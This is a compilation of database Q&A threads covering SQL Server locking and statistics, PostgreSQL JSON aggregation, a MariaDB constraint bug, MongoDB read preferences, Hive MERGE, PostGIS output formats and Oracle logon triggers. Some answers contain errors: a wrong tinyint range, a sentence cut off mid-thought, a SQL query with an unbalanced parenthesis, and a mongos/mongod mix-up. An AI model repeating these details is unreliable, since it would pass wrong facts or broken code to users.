You're deleting 2 million records so I'm not surprised that you're getting over 5000 locks during your deletes. Less than 0.003% of your lock escalation attempts were successful for this object so there appears to be a lot of concurrent access. It's important to think about what blocking represents for your workload. Blocking can be good if it prevents an end user from getting incomplete or inaccurate results. I'm going to break down the blocking behavior into two categories: it occurs during a maintenance window (end users not on the system) or it occurs outside of a maintenance window.
If it occurs during a maintenance window that's good news for you. You just need to adjust your code and won't need to make difficult decisions about the end user experience. If you have multiple processes all issuing deletes on many tables you have at least the following options:

Delete in small batches instead of doing one large delete. You can delete the top X rows until there aren't any more rows to delete. This performs very well if you are deleting based on the clustered key (you are in your example). As long as your batch size is small enough to avoid
Prevent more than one process from accessing the same table. This could be accomplished through sp_getapplock, by only running one process (may not be practical for your maintenance window), or through some other method.
Partition by user id. This is a bit of a nuclear option but you can use partition switching to load the new data in very quickly with minimal locking. Tinyint has a range up to 32767 and SQL Server only supports up to 15000 partitions per table so this may not work for you. Partitioning has a lot of other side effects so consider making this change very carefully.

If this blocking is occurring while end users are accessing the system and you cannot defer the updates to your data until your maintenance window then I recommend approaching the problem based on what your end users should experience. I get the impression that you're deleting data from many different tables for a user id. What should happen if an end user runs a query after the delete but before the insert has completed? Is it acceptable to show partial data?  What should happen if some of the tables in the query have been updated with the new data but not all? Is it better to make them wait until all of the data has been loaded or to show them the previous data?
I can't answer those questions so some combination of the techniques listed above may work for you. Another one worth considering is to defer doing the deletes. Instead of doing deletes you could do inserts instead. You could add a version column to all of your primary keys and load in new data as needed. You could also have a metadata table that lists the version of the data that should be used for each user id as well (that can be helpful if you want an end user to wait until all data has been loaded). During a maintenance window you can delete the old rows. Of course, this will require you to rewrite many, if not all, of your queries and to recreate the primary keys on all of your tables.
Hopefully that gets you on the right track. Resolving your issue may be as simple as deleting in smaller chunks to avoid escalating locks to the table level but I urge you to think carefully about what data end users will see as a result of doing that.


merge json online postgresql 10 I have the following tables:

 create table tags (
        id bigserial primary key,
        file_id bigint,
        key varchar,
        num bigint,
        str varchar)

create table meta_info (
    id bigserial primary key,
    filename varchar,
    created timestamp with time zone,
    version varchar
    )

file_id is a reference for meta_info.id

I need to find a filename and gather all tags for it.
The result must be the following:

[{"key": "val", "key1": "val1", "filename": "A/B/C/1.exe"},
{"key3": 5, "key2": ["val2"], "filename": "A/B/C/2.exe"}]

Tags table can contain the following data:

file_id key   num  str
2343423 "key" null "val"
2343423 "key1" null "val1"
4564576 "key3" 5    null
4564576 "key2" null ["val2"]::text

I cannot keep tags as jsonb since json query doesn't support a complex structure like 'ilike' search smwhere inside json or when I need a deep search inside json and compare value (less than some value), etc.

Also index will be not used for the query (only @>, ? can be used for index)

When we have a value as a numerical data, we will have null in the str column.
When we have a value as a string or dict, list, etc.,  we will have null in the num column.

So I need to gather all tags but I cannot merge list of jsons online.
Here is my SQL query:

 SELECT filename, json_array_elements(json_agg(json_build_object(tags.key, COALESCE(tags.str, CAST(tags.num as varchar(100)))))::text) as val FROM
(SELECT *, rank() OVER (partition by filename order by created desc) AS rank
        FROM meta_info m
        where m.filename like 'DATASETS/14.0/%'
        ) tt
        inner join tags on tags.file_id=tt.id
        WHERE tt.rank = 1
    group by tt.filename

I have the following result:

DATASETS/14.0/Error_1012/input.exe/ [{"key1" : "val1"},{"key2" : "val2"}]
DATASETS/14.0/Error_1011/input.exe/ [{"key3" : ["val3"]},{"key4" : 5}]

So the second column is the list of dictionaries, I need to merge them "online". How can I do it in the SQL query?

I have found a solution:

select array_to_json(array_agg(js.row)) as json from
( SELECT json_build_object('name', filename)::jsonb || jsonb_object_agg(tags.key, COALESCE(tags.str, CAST(tags.num as varchar(100)))) as row FROM
(SELECT *, rank() OVER (partition by filename order by created desc) AS rank
 FROM meta_info m where m.filename like 'DATASETS/14.0/%' ) tt
inner join tags on tags.file_id=tt.id WHERE tt.rank = 1 group by tt.filename) as js


in what all scenarios SQL Server update statistics I know SQL Server update stats when 20% of data is changed in a table. It keeps tracks of it by using modification counter which we can see in [modification_counter] column of sys.stats table.

But I can see for one of my key table in the database that stats are getting updated much before they reach 20% data modification threshold. Just wanted to know is there any thing else which will force SQL Server to update stats automatically.

Why I am worried is that when SQL Server update stats automatically, it is using 5% sampling rate which might cause creation of bad / inaccurate execution plan. (need confirmation on that is totally different issue).

So I want to know why SQL Server is so often updating stats?

For the large tables, we require to update 20% of a row to auto-update the statistics. For example, a table with 1 million rows requires 200,000 rows updates. It might not be suitable for the query optimizer to generate an efficient execution plan.

SQL Server 2016 onwards, it uses dynamic statistics update threshold, and it adjusts automatically according to the number of rows in the table.
Threshold = √((1000)*Current table cardinality)

For example, a table with one million rows we can use the formula to calculate the number of updates after which SQL Server will automatically update statistics.

Threshold = √(1000*1000000) = 31622

SQL Server updates the statistics after the approx. 31622 modifications in the object.
Note: the database compatibility level should be 130 or above to use this dynamic threshold statistics calculations.
Regarding the sampling rate, yes - automatic statistics updates do not do full scan, they do % sampling which might not always be optimal... you have to implement your own solution that will do more frequent statistics update with fullscan. Check Ola Hallengren's maintenance scripts


MaridDB 10.3.29 prevents me from deleting a foreign key This is a minimal example that triggers the error
CREATE TABLE A (
  id bigint NOT NULL AUTO_INCREMENT PRIMARY KEY
);

CREATE TABLE B (
  what tinyint NOT NULL,

  a bigint NOT NULL,

  CONSTRAINT x FOREIGN KEY (a) REFERENCES A(id),
  CONSTRAINT y CHECK (what > 0)
);

SELECT b.a FROM B b;

ALTER TABLE B DROP CONSTRAINT x;

When i run this in a fresh MariaDB instance (docker mariadb:10.3.28) everything works fine.
When MariaDB 10.3.29 was released the query suddenly broke. So, when i run this in a fresh MariaDB instance (docker mariadb:10.3.29) i get the following error message for the last statement:
[42S22][1054] (conn=8) Unknown column '`db`.`b`.`what`' in 'CHECK'

Some weird observations:

if i delete the y check and add it after dropping x everything works
if i remove the SELECT everything works
the b from the error message changes with the table alias from the SELECT statement
running the last statement again shows the same error
the error message makes no sense at all

So my question: what's wrong with my SQL?

This is actually a bug in MariaDB. See the bugtracker.
They recommended to do FLUSH TABLES; before the ALTER statement.
I can confirm that this "hides the bug".


How do I ensure I always connect to Primary/Secondary node in a MongoDB ReplicaSet? I have a 3 node replica set running on 3 different servers. I have finished setting it up and everything works great. Now I want to give my users two connection strings:

Connect to this "xyz" for write
Connect to this "abc" for read only traffic

I am also trying to set up a CNAME for each of the connections, to be able to have the flexibility to change in the future.

Thanks and appreciate your time in advance.

Ref: https://docs.mongodb.com/manual/reference/connection-string/

If you are using replica set you do not use your mongod hostname in your connecton string. Rather use all mongos hostname and replica set name.

As an example:

  To describe a connection to a replica set named test, with the
  following mongod hosts:

  db1.example.net on port 27017 and db2.example.net on port 2500. You
  would use a connection string that resembles the following:

  mongodb://db1.example.net,db2.example.net:2500/?replicaSet=test

Writes will always go to primary and you do not have to do anything. Config and mongos will communicate among themselves will redirect to primary.

You can configure Write concern which describes the kind of assurances that the mongod and the driver provide to the application regarding the success and durability of the write operation. For a full explanation of write concern and write operations in general, see Write Concern.

Read Preference Options

Read preferences describe the behavior of read operations with regards to replica sets. These parameters allow you to specify read preferences on a per-connection basis in the connection string. The default value is primary, which sends all read operations to the replica set’s primary.

The read preference values are the following:

primary
primaryPreferred
secondary
secondaryPreferred
nearest

For descriptions of each value, see Read Preference Modes.


MySQL. Relationships Thanks in advance for your answer. I am trying to tune my db skills.

I have 3 tables:

Brand, Model and Item.

All models belongs to a brand, but an item can have a brand but not a model.

I have 2 questions:

From a programming point of view I just add brandId as foreign key and ModelId just as a field to Item table.But from database design perspective, I guess this is the wrong approach. How I should manage it?
In the case that an Item always have a model and brand. I usually only add modelId and from it I can get brandId, but I have been seeing a growing wave where both fields would be added to item table, again, what is the correct approach?

Your question hits a 'gray area'; there is not an overwhelmingly 'right' way to design the schema.

When the question is asked about city + state + country, I say:  Have one Locations table that contains all 3 columns.  And use country_code CHAR(2) CHARACTER SET ascii.

I also say "normalize, but don't over-normalize".

There are 'religious wars' fought over your question.  There are valid points on either side.  Flip a coin, implement it, then learn from the decision.

Better yet, implement both ways - writing the CREATE TABLEs, the INSERTs, the SELECTs, etc.

Still better is to implement both, but have a "database abstraction layer" in your code that hides the choice from your application code.  Coming up with a single abstraction for your app that works with either backend will be the best lesson here.


Can I MERGE INTO ... INSERT with a column list in Hive? Here's a good example of a MERGE statement:

MERGE INTO target AS T
USING source AS S
ON T.ID = S.ID and T.tran_time = S.tran_time
WHEN MATCHED UPDATE SET quantity = S.quantity
WHEN MATCHED AND S.quantity IS NULL THEN DELETE
WHEN NOT MATCHED THEN INSERT VALUES (S.ID, S.quantity, S.tran_time);

When doing the INSERT, does it have to exactly match the structure of the target table, or can a column list be somehow be specified like in a simple INSERT statement? I don't like hard coding value lists that have to match the order of the columns in the table, I like my statements to be column order independent.

Every example I've seen includes all of the columns.  I also found this note about updates (though nothing specific to insert):

  Note that you cannot update only a part of a complex structure field. For example, suppose you have a structure stored as one field in a Hive table:
  {"name":"Johnson","surname":"Fall","age":23,"gender":"MALE"}
  You cannot update only the age field in the structure. You can only replace all values of the structure with new ones.

From: https://mapr.com/docs/61/Hive/MERGE_Statement_with_MapR-DB-JSON-tables.html


pg_restore using PostGIS/PostgreSQL Dump Changes Data in Geography Column Two PostGIS databases (PostGIS 3.0, PostgreSQL 13.1) were setup on two separate machines to be as close to each other as possible using Docker images.
A dump of the database was taken from the first machine using
pg_dump --host=db1.foo.com --dbname=foo --username=postgres -Fc --file=/tmp/foo.dump

and then restored on the database on the second machine using
pg_restore --clean --dbname=foo /tmp/foo.dump

When we view a query result using a GUI software TablePlus, we noticed that the column named coordinates of type Geography contains values that look very different after restoring.
Query Result on 1st Machine (pg_dump source):
SELECT coordinates FROM locations LIMIT 5;

Query Result on 2nd Machine (after pg_restore):
SELECT coordinates FROM locations LIMIT 5;

However, our app that queries this database for coordinate data appears to be plotting the data correctly on a map. This makes me think that the data on both machines are the same, but stored in different representation.
Question: Why did the Geography data values in the column coordinates changed, and how can we restore from the dump while keeping the original data values?

Update: Tried using -b when performing pg_dump, but the problem persist.
pg_dump --host=db1.foo.com --dbname=foo --username=postgres -Fc -b --file=/tmp/foo.dump

Your first output is showing as EWKT (Extended Well Known Text) while the second output is WKB (Well Known Binary). These are both standard representations of the internal geometry but are designed for different end users (human v machine).
To be honest I have never see PostGIS return WKT in a standard select statement, usually you would wrap the geometry in ST_AsTEXT or ST_AsEWKT to see that.
Any way I think your data is just fine.


Oracle Logon Trigger ReCompile Typically when an oracle object goes invalid due to a dependent object being modified, the next execution of the invalid object will compile it and everything will be execute as expected (assuming no errors caused by the modification). This works as expected for standard table triggers:

-- connect to DB
connect myschema@TESTDB

-- Create table
create table myschema.t as select * from all_objects;

-- Create before insert
create or replace trigger myschema.trg before insert on t
for each row
begin
:new.object_id :=12;
end;
/

-- Grant insert privilege to table
grant insert on myschema.t to otherschema;

-- Modify underlying table to make trigger go invalid
alter table myschema.t drop column owner;

-- Connect as otherschema
connect otherschema@TESTDB

-- View status of trigger (invalid)
select object_name, status from dba_objects where owner = 'MYSCHEMA';
OBJECT_NAME       STATUS
-----------       -------
TRG               INVALID

-- insert record into myschema.t
insert into myschema.t
select OBJECT_NAME,SUBOBJECT_NAME,OBJECT_ID,
DATA_OBJECT_ID,OBJECT_TYPE,CREATED,LAST_DDL_TIME,
TIMESTAMP,STATUS,TEMPORARY,GENERATED,SECONDARY,
NAMESPACE,EDITION_NAME
from all_objects
where rownum=1;

-- View status of trigger (valid)
select object_name, status from dba_objects where owner = 'MYSCHEMA';
OBJECT_NAME       STATUS
-----------       -------
TRG               VALID

All of that is as expected... now lets look at a logon trigger:

-- Connect as privileged schema
connect mydba@TESTDB

-- Create table in privileged schema
create table mydba.test_table ( c1 varchar2(100), c2 date );

-- Create logon trigger
create or replace trigger mydba.test_logon_trg
after logon on database
declare
v_variable varchar2(100);
begin
select c1 into v_variable
from mydba.test_table;
exception when no_data_found
then
  null;
end;
/

-- Modify table to make trigger go invalid
alter table mydba.test_table modify ( c1 varchar2(200) );

-- Check status of trigger ( invalid )
select owner, object_name, status
from dba_objects
where owner = 'MYDBA' and object_name = 'TEST_LOGON_TRG';

-- Connect as non-privileged user (if you use a privileged, i.e. DBA,  account it bypasses the trigger)
connect myschema@TESTDB

ORA-04045: errors during recompilation/revalidation of
MYDBA.TEST_LOGON_TRG
ORA-01031: insufficient privileges

It looks like the database tries to compile the invalid trigger as expected, but it throws a privilege warning. The MYDBA schema has the DBA privilege and so it should have all the privileges necessary.

After having all of this typed up... I had an epiphany. I've seen it mentioned in slightly different context around the web put didn't put it together until now. You need to execute the following grant:

grant administer database trigger to mydba;

This is provided via the DBA role, but I believe a direct grant is necessary to compile the trigger on the fly.


Count distinct instances of a SKU and count all items in all instances containing that SKU This is on MSSQL/Azure SQL.
I have the following Sales Table:

Line_Item_ID
Sales_Order_ID
SKU

1
1
4

2
1
1

3
2
4

4
3
1

5
3
7

6
3
4

7
4
4

8
5
1

9
5
8

I am trying to get an output that shows for each SKU, the total number of Orders (very easy) AND the total number of line items for an Order that contains that SKU.
So for the first part:
select SKU, count(distinct(sales_order_id) as "Order_Count"  from Table T
group by SKU

Easy enough, however the second part is doing my head in -
The desired output would look like this:

SKU
Order_Count
Line_Item_Count

1
3
7

4
4
7

7
1
3

8
1
2

How do I get a count of the total Line_item_IDs for each order that contains a SKU? Ideally in a single query without a load of crazy joins or subqueries.

You can use a window function with the COUNT() function in a CTE or subquery to get the total Line_Item_ID count per Sales_Order_Id or even just group it separately at that point, and re-join it to your existing query with a SUM() on top of it to get the total Line_Item_ID for each SKU like so:
WITH CTE_LineItemsPerSalesOrder AS
(
    SELECT sales_order_id, COUNT(1) AS LineItemsPerSalesOrderCount
    FROM Table
    GROUP BY sales_order_id
)

SELECT T.SKU, COUNT(DISTINCT(T.sales_order_id) as Order_Count,
    SUM(C.LineItemsPerSalesOrderCount) AS Line_Item_Count
FROM Table T
INNER JOIN CTE_LineItemsPerSalesOrder AS C
    ON T.sales_order_id = C.sales_order_id
GROUP BY T.SKU
ORDER BY T.SKU

Feel free to rename and reformat the casing of the syntax I used, as needed.


MongoDB: Queries running twice slow on NEW server compared to OLD server I transferred current/old running DB into a new standalone server for MongoDB. To do this, I performed the following:

Took dump of data from OLD server
Restored data from the generated dump into NEW server
Configured the server for authentication

Issue:
I noticed that after performing the above, few queries on the NEW server were running slow almost twice the time compared to their performance on the OLD server.
Configurations:
The configurations of both the servers are same however the NEW server has 32 GB RAM while the OLD server had 28GB RAM. OLD server had other applications and servers running as well. While the NEW server is a dedicated server only for this DB.
CPU consumption is similar however RAM is heavily occupied in the OLD server while it is comparatively less occupied on NEW server.
Therefore, NEW server is better equipped in hardware and RAM consumption. Also NEW server is standalone dedicated to only this DB.
Question:
Why could my NEW server even though it is standalone be slow compared to OLD one? How can I correct this?

I noticed that the server wasn't set to NUMA as interleaved (disabled). Once I did it on the new server, the database started to pickup speed now. But still almost same as OLD server not better.


Difference between SQL node and Data Node In a MySQL cluster, there are several different types of nodes:

Management Node,
SQL Node,
Data Node,
API Node,

What are the differences between the latter three types?

Management Node: is the Node that process reading the cluster configuration file and distributes this information to all nodes in the cluster that request it. It also maintains a log of cluster activities. Management clients can connect to the management server and check the cluster's status.

Data Node: This type of node stores cluster data. There are as many data nodes as there are replicas, times the number of fragments. For example, with two replicas, each having two fragments, you need four data nodes. One replica is sufficient for data storage, but provides no redundancy; therefore, it is recommended to have 2 (or more) replicas to provide redundancy, and thus high availability.

SQL Node: This is a node that accesses the cluster data. In the case of MySQL Cluster, an SQL node is a traditional MySQL server that uses the NDBCLUSTER storage engine. An SQL node is a mysqld process started with the --ndbcluster and --ndb-connectstring options, which are explained elsewhere in this chapter, possibly with additional MySQL server options as well.

Note: SQL Node is the specialized type of API node.

Please refer to MySQL webpage for more info:

http://dev.mysql.com/doc/refman/5.1/en/mysql-cluster-basics.html